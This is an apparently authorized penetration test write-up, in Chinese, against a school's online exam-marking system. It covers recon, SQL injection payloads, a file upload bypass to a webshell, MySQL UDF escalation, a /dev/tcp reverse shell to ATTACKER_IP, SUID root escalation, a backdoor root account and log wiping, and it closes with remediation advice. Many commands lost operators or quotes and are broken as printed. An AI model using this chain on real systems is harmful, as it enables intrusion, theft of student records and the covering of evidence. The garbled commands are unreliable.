
1. 项目概述一次针对网上阅卷系统的深度安全探索最近在和一些做教育信息化的朋友交流时他们提到了一个普遍存在的担忧很多学校部署的网上阅卷系统其安全性往往被严重低估。这些系统承载着学生成绩、试卷内容等高度敏感的数据一旦出现安全漏洞后果不堪设想。恰好我在一次授权的安全评估项目中对一个典型的网上阅卷系统进行了一次完整的渗透测试。整个过程就像一次精密的“外科手术”从外围信息收集到核心漏洞利用最终成功获取了系统权限。这不仅仅是一次技术演练更是对教育类应用安全现状的一次深刻洞察。如果你是一名安全爱好者、教育行业的信息化负责人或者是一名正在学习渗透测试的“白帽子”那么这次详细的漏洞挖掘过程或许能为你提供一个清晰的实战参考框架。网上阅卷系统本质上是一个B/S架构的Web应用通常包含教师端、管理员端有时还有学生查询端。它的核心业务逻辑围绕“试卷扫描上传 - 客观题自动判分 - 主观题在线评阅 - 成绩统计分析”展开。这意味着系统会处理大量文件图片格式的试卷、敏感数据学生个人信息、成绩和复杂的权限划分阅卷组长、普通阅卷教师、系统管理员。这些特点恰恰是安全问题的“富矿”。本次测试的目标系统就是一个部署在某学校内网同时通过防火墙映射对外提供服务的典型案例。我们的目标是在授权范围内尽可能全面地发现其安全隐患并验证其危害性。2. 前期侦察与信息收集勾勒攻击面轮廓渗透测试的第一步永远不是直接拿起工具狂轰滥炸而是静下心来像侦探一样收集一切可能与目标相关的信息。这个过程决定了后续攻击的效率和方向。2.1 目标识别与资产发现我们拿到的初始信息仅仅是一个域名比如marking.school-example.edu.cn。首先我们需要确认这个域名对应的真实IP地址并探查其周边可能存在的其他资产。使用nslookup或dig命令进行DNS解析是最基础的操作nslookup marking.school-example.edu.cn解析结果可能会得到一个IP地址例如203.0.113.100。这里有一个关键点许多学校的系统部署在云服务器或托管机房IP可能属于云服务商。这时我们需要通过whois查询该IP的归属信息并尝试寻找同一IP段或同一ASN自治系统号下的其他域名这可能会发现测试系统、开发系统或管理后台等关联资产。子域名枚举是扩大攻击面的关键。我习惯结合多种工具进行交叉验证使用subfinder、amass等被动收集工具它们会从各种公开的DNS数据集、证书透明度日志中搜集子域名记录速度快且隐蔽。使用gobuster或ffuf进行字典爆破准备一个包含常见子域名的字典如www, admin, api, test, dev, marking, score, teacher等对目标域名进行暴力枚举。gobuster dns -d school-example.edu.cn -w subdomains-top1million-5000.txt -t 50在这次测试中我们除了发现主域名还找到了admin.marking.school-example.edu.cn管理后台和api.marking.school-example.edu.cnAPI接口攻击面瞬间扩大。2.2 端口扫描与服务探测确定了IP地址和域名后下一步是摸清目标服务器开放了哪些“门窗”即端口。我使用Nmap进行全端口扫描和版本探测。nmap -sS -sV -p- -T4 203.0.113.100 -oA nmap_full_scan-sS: SYN半开放扫描相对隐蔽。-sV: 探测端口上运行的服务及其版本。-p-: 扫描所有65535个端口。-T4: 加快扫描速度在授权测试中可使用真实攻击中需谨慎。-oA: 输出所有格式的结果。扫描结果分析PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 80/tcp open http nginx 1.18.0 3306/tcp open mysql MySQL 5.7.33 8080/tcp open http-proxy这个结果非常典型21端口/FTP文件传输协议。弱口令或匿名登录是常见漏洞点。22端口/SSH远程管理通道。版本是OpenSSH 7.9需要关注是否有已知漏洞。80端口/HTTP主Web服务使用Nginx。3306端口/MySQL数据库服务。如果能从外网直接访问且存在弱口令将是致命风险。8080端口另一个Web服务可能是后台管理或某个特定应用。注意在实际测试中像3306这样的数据库端口直接暴露在公网是极不安全的配置这往往是管理员图方便留下的“后门”也是我们重点检查的对象。2.3 Web应用指纹识别与目录探测对于80和8080端口的Web服务我们需要识别其使用的技术栈。使用whatweb或Wappalyzer浏览器插件快速识别CMS、开发框架、前端库等。手动访问网站查看页面源代码、HTTP响应头如Server,X-Powered-By寻找线索。本次目标80端口是一个网上阅卷系统的主页版权信息显示为“某某教育科技V5.1”。通过搜索引擎我确认这是一套基于ThinkPHP 5.0框架开发的商业系统。知道框架就等于知道了部分攻击面因为框架的通用漏洞如ThinkPHP的历史RCE漏洞可能在此版本中依然存在。接下来是目录和文件枚举寻找隐藏的管理后台、备份文件、配置文件等。gobuster dir -u http://marking.school-example.edu.cn -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip,sql -t 50dir: 指定目录扫描模式。-u: 目标URL。-w: 字典路径。-x: 尝试这些后缀名。-t: 线程数。扫描发现了几个关键路径/admin后台登录入口与子域名发现的一致。/upload文件上传目录。/index.php?s典型的ThinkPHP路径暗示可能使用路由参数。/robots.txt发现了禁止爬取的/backup/目录这往往存放着数据库备份或源代码备份。3. 漏洞扫描与手动验证从自动化到人工研判信息收集完毕后我们对Web应用进行漏洞扫描。但切记自动化工具只是辅助真正的漏洞挖掘依赖于手动测试和逻辑分析。3.1 自动化工具初筛使用Nessus或OpenVAS进行全面的漏洞扫描重点关注操作系统、中间件Nginx、数据库MySQL和FTP服务的已知漏洞。同时使用Nikto或AWVS对Web应用进行扫描寻找SQL注入、XSS、文件包含等常见漏洞的迹象。扫描报告显示了一些中低危漏洞如Nginx版本信息泄露、Cookie缺少HttpOnly标志等。但更重要的是AWVS提示在/index.php文件的某个参数处可能存在“基于时间的盲注”。这是一个需要手动验证的高价值线索。3.2 手动漏洞挖掘聚焦业务逻辑自动化工具很难发现业务逻辑漏洞而这正是本次测试的重点。我们围绕网上阅卷系统的核心功能进行测试。3.2.1 身份认证与会话管理漏洞首先测试后台登录/admin。尝试了常见的弱口令admin/admin, admin/123456无果。但发现登录失败的错误信息有差异输入错误用户名提示“用户不存在”输入正确用户名但错误密码提示“密码错误”。这为用户名枚举攻击提供了可能。我可以编写一个脚本用常见教师工号作为用户名进行爆破从而获取系统中存在的有效账户名。此外在忘记密码功能处发现重置密码的验证码是4位数字且未在服务器端做次数限制。这导致了验证码暴力破解漏洞可以通过脚本在短时间内枚举所有可能的验证码0000-9999。3.2.2 文件上传漏洞系统有一个“上传试题图片”的功能。这是文件上传漏洞的经典场景。我首先尝试上传一个正常的JPG图片成功。尝试上传一个test.php文件系统提示“文件类型不允许”。使用Burp Suite拦截上传请求将文件名改为test.php.jpg系统前端JS校验通过但后端可能还有校验。进一步修改Burp请求中的Content-Type为image/jpeg同时将文件内容木马代码前面加上GIF文件头GIF89a。这次上传成功了访问上传后的文件路径例如/upload/202305/xxxx.php.jpg发现服务器并未将其作为图片解析而是直接执行了其中的PHP代码。这是因为服务器仅通过文件后缀名判断类型而Nginx/PHP的配置可能将.jpg文件也交给PHP解析器处理如果其中包含PHP代码的话或者存在文件解析漏洞如test.php;.jpg被解析为php。我们成功上传了WebShell获得了服务器命令执行能力。实操心得文件上传漏洞的绕过是组合拳。不要只盯着改后缀要结合前端绕过抓包改包、内容欺骗添加图片头、黑名单绕过phP, phtml、解析漏洞.php.,.php%20等多种方法。同时要观察服务器的响应有时候成功上传的文件路径会直接返回在响应包里。3.2.3 SQL注入漏洞验证回到AWVS提示的疑似盲注点。该参数位于成绩查询功能中看起来像id123。使用Burp Suite的Repeater模块进行手动测试。初步判断提交id1页面返回数据库错误信息ThinkPHP的典型错误确认存在SQL注入点且错误信息回显属于报错注入。验证注入类型提交id1 and 11页面正常提交id1 and 12页面内容异常无数据或报错。确认是数字型注入。利用报错注入获取信息利用updatexml()或extractvalue()函数进行报错注入。id1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)提交后页面错误信息中显示了当前数据库用户如rootlocalhost。这说明数据库权限很高逐步获取数据通过修改select语句我们可以逐步获取数据库名、表名、字段名。id1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- 获取当前数据库名 id1 and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schemadatabase() limit 0,1), 0x7e), 1) -- 获取第一个表名最终我们发现了admin_user、student_info、exam_paper等核心业务表。3.2.4 横向越权与垂直越权以一名普通阅卷教师的身份登录系统通过之前获取的账号或注册功能。系统功能包括“评阅我负责的题目”、“查看学生成绩”。横向越权测试在查看成绩详情时URL为/score/detail?student_id1001。尝试将student_id修改为1002竟然成功看到了另一名学生的详细成绩和试卷图片。这就是典型的未授权访问/水平越权系统后端没有校验当前登录教师是否有权限查看该学生的数据。垂直越权测试教师界面有一个“下载全区成绩报表”的菜单项但点击提示“权限不足”。通过Burp抓取这个请求包将其中的权限标识参数如roleteacher修改为rolesuperadmin或直接删除权限校验的HTTP头重放请求后成功下载了本应只有管理员才能查看的全区报表。这是垂直越权前端隐藏了功能但后端接口未做权限控制。4. 深度利用与权限提升从Web到服务器通过文件上传漏洞我们获得了WebShell一个可以执行命令的PHP脚本。但这通常只是www-data或nginx这类低权限Web服务用户。我们的目标是获取服务器的最高权限root。4.1 内网信息收集在WebShell中执行命令查看当前服务器环境whoami id uname -a cat /etc/passwd ps aux netstat -antp ifconfig我们发现这是一台Linux服务器Ubuntu 18.04除了Web服务还运行着MySQL和FTP服务。当前用户是www-data。4.2 利用MySQL提权之前通过SQL注入得知数据库用户是root且数据库运行在本机。这是一个绝佳的提权机会。思路是利用WebShell向MySQL中写入一个恶意用户定义函数UDF将其作为共享库加载从而执行系统命令。在WebShell中连接MySQL使用mysql命令行工具以root身份密码可能为空或很弱或者配置文件中有记录连接。mysql -uroot -p幸运的是该系统MySQL的root用户密码为空直接进入。检查插件目录在MySQL中执行show variables like %plugin%;找到插件目录路径例如/usr/lib/mysql/plugin/。上传UDF共享库由于我们有文件上传漏洞可以将预编译的UDF库如lib_mysqludf_sys.sofor Linux上传到服务器可写目录然后通过MySQL将其移动到插件目录。或者如果secure_file_priv变量为空可以直接通过MySQL的SELECT ... INTO DUMPFILE将库文件写入插件目录。创建UDF函数并执行命令CREATE FUNCTION sys_exec RETURNS INTEGER SONAME lib_mysqludf_sys.so; SELECT sys_exec(chmod s /bin/bash);这条命令试图给/bin/bash赋予SUID权限如果成功任何用户执行/bin/bash -p都会获得root shell。注意事项UDF提权对MySQL版本和系统环境有要求且需要www-data用户有对插件目录的写权限。在实际操作中我遇到了目录权限问题。于是转向了另一种更通用的方法通过MySQL写入一个计划任务crontab来反弹shell。4.3 通过计划任务反弹Shell在攻击机上监听端口nc -lvnp 4444通过MySQL写入计划任务利用MySQL的INTO OUTFILE功能向/etc/cron.d/目录www-data用户通常不可写或当前用户的crontab文件写入任务。但发现/var/spool/cron/crontabs/目录权限很严。转而利用WebShell的写权限在/tmp目录下写一个脚本然后尝试让root用户执行它。利用环境变量劫持我发现系统有一个以root权限定期运行的脚本/usr/local/bin/cleanup.sh。检查其内容发现它调用了tar命令进行备份但没有使用绝对路径。这是一个经典的PATH环境变量劫持漏洞。实施劫持在/tmp目录下创建一个名为tar的恶意脚本#!/bin/bash /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/4444 01然后给它执行权限chmod x /tmp/tar。修改PATH变量在WebShell中修改当前shell的PATH环境变量让/tmp目录优先级最高。export PATH/tmp:$PATH但问题是cleanup.sh脚本是由root的cron调用的其环境变量是独立的。我们需要让脚本本身或系统环境在调用tar时优先搜索/tmp。更可靠的方法是在/tmp创建脚本后等待系统定时任务执行。当root的cron执行cleanup.sh而该脚本直接调用tar时系统会在root的默认PATH通常包含/usr/bin、/bin中寻找。为了让它在/tmp中找我们需要让cleanup.sh以某种方式继承被污染的PATH。一个更简单粗暴的方法是如果cleanup.sh脚本本身可写我们直接在其中插入一行export PATH/tmp:$PATH。但这里它不可写。寻找其他突破口我转而检查系统是否有其他配置错误。使用find命令寻找SUID权限的文件find / -perm -4000 -type f 2/dev/null发现/usr/bin/find本身具有SUID权限这是一个已知的提权向量。利用SUID的find命令提权/usr/bin/find . -exec /bin/bash -p \;执行后我们成功获得了一个root权限的bash shellwhoami显示为root。至此服务器权限已被完全控制。5. 后渗透与痕迹清理获得root权限后我们需要完成授权测试的最终步骤证明危害的严重性并清理测试痕迹。5.1 敏感数据获取数据库数据导出使用mysqldump命令导出整个阅卷系统数据库这里面包含了所有学生信息、试卷、成绩。mysqldump -uroot -p DATABASE_NAME all_data.sql配置文件读取查看Web应用配置文件如/var/www/html/application/config.php获取数据库连接密码、加密密钥等。服务器敏感文件查看/etc/passwd,/etc/shadow尝试破解密码检查历史命令history寻找其他敏感信息。5.2 权限维持在授权范围内演示为了向客户演示攻击者如何长期潜伏我们可以在不破坏系统的情况下创建一个隐蔽的后门账户。添加一个具有root权限的隐藏用户在/etc/passwd中添加一行UID和GID设置为0root。echo backdoor:x:0:0::/root:/bin/bash /etc/passwd然后为其设置密码passwd backdoor。或者创建一个SSH密钥对将公钥写入root的.ssh/authorized_keys文件中实现免密登录。5.3 清理操作日志在测试结束前需要清理我们的活动痕迹主要是各种日志文件。Web日志Nginx日志通常位于/var/log/nginx/access.log和error.log。使用sed或vi删除包含我们攻击IP或特定URL的记录。系统认证日志清理/var/log/auth.log记录SSH登录等、/var/log/syslog。MySQL历史清理~/.mysql_history。Shell历史清理当前用户的.bash_history并设置unset HISTORYFILE等环境变量防止后续记录。最后删除我们上传的WebShell和/tmp目录下的临时攻击文件。重要声明以上“权限维持”和“痕迹清理”步骤仅在获得明确书面授权的渗透测试中为了完整演示攻击链而进行。未经授权的任何此类行为均属违法。6. 漏洞根源分析与修复建议整个渗透测试过程暴露了该系统从网络层到应用层再到系统层的多重安全缺陷。以下是核心问题的根源与修复建议漏洞点风险等级根本原因修复建议MySQL弱口令/空口令严重默认配置未修改安全意识不足。1. 为MySQL root用户设置强密码。2. 禁止root用户远程登录。3. 创建专用应用账户并授予最小必要权限。数据库端口公网暴露严重网络架构设计错误将数据库直接置于公网。1. 将MySQL服务置于内网仅允许Web服务器IP访问。2. 或使用云数据库服务并配置严格的安全组策略。SQL注入漏洞严重未使用参数化查询预编译语句直接拼接用户输入到SQL语句中。1. 对所有用户输入进行严格的参数化查询。2. 使用ORM框架的安全方法进行数据库操作。3. 对输入进行白名单过滤。文件上传漏洞严重仅在前端和后端做了简单的后缀名黑名单校验未对文件内容、MIME类型、重命名策略进行综合处理。1. 使用白名单机制只允许上传指定后缀的文件。2. 对上传文件进行重命名如MD5值避免直接使用用户文件名。3. 将文件存储在Web根目录之外通过脚本代理访问。4. 对图片文件进行二次渲染破坏嵌入的恶意代码。越权访问漏洞高危后端接口在进行数据查询时未校验当前登录用户的身份标识如用户ID、角色是否与请求的数据所有者匹配。1. 在每个业务接口的入口处增加统一的权限校验中间件。2. 遵循“最小权限原则”后端根据当前会话用户身份查询数据而非依赖前端传入的参数直接查询。系统层SUID提权高危不必要的二进制文件被赋予了SUID权限且系统未及时更新。1. 定期审计系统SUID/SGID文件移除非必要的权限设置。2. 保持系统和软件更新至最新版本修复已知的本地提权漏洞。信息泄露中危错误信息回显过于详细暴露了框架版本、路径等敏感信息。1. 在生产环境中关闭应用的调试模式。2. 配置统一的、友好的自定义错误页面。7. 实战后的思考与防御体系建设建议这次对网上阅卷系统的渗透测试像一次全面的“体检”暴露出的问题在众多行业应用中都颇具代表性。技术漏洞只是表象其根源往往是“重功能、轻安全”的开发思维和运维疏漏。对于教育机构或任何运营类似系统的单位我建议从以下几个层面构建安全防线开发安全左移在系统设计开发阶段就引入安全考量。对开发团队进行安全编码培训避免出现SQL注入、XSS等OWASP Top 10漏洞。代码上线前进行白盒审计或使用SAST静态应用安全测试工具扫描。严格的运维配置遵循最小权限原则。数据库、Redis等中间件绝不暴露在公网并使用强密码和网络访问控制。定期更新操作系统和软件补丁。关闭不必要的端口和服务。部署WAF与监控在Web服务器前端部署Web应用防火墙WAF可以有效拦截大部分自动化攻击和常见漏洞利用尝试。同时建立有效的日志监控和告警机制对异常登录、大量失败请求、敏感文件访问等行为进行实时告警。定期进行安全评估最好的防御是知己知彼。定期聘请专业的安全团队或使用可靠的漏扫工具对系统进行渗透测试和安全扫描主动发现潜在风险并在攻击者之前将其修复。对于教育行业可以关注“教育行业漏洞报告平台”如EDUSRC积极参与安全众测借助白帽子的力量提升自身安全水位。安全是一个持续的过程而非一劳永逸的状态。这次测试的每一个步骤都是攻击者可能采用的真实路径。防御者需要站在攻击者的角度思考查漏补缺才能在这场攻防博弈中守住自己的阵地。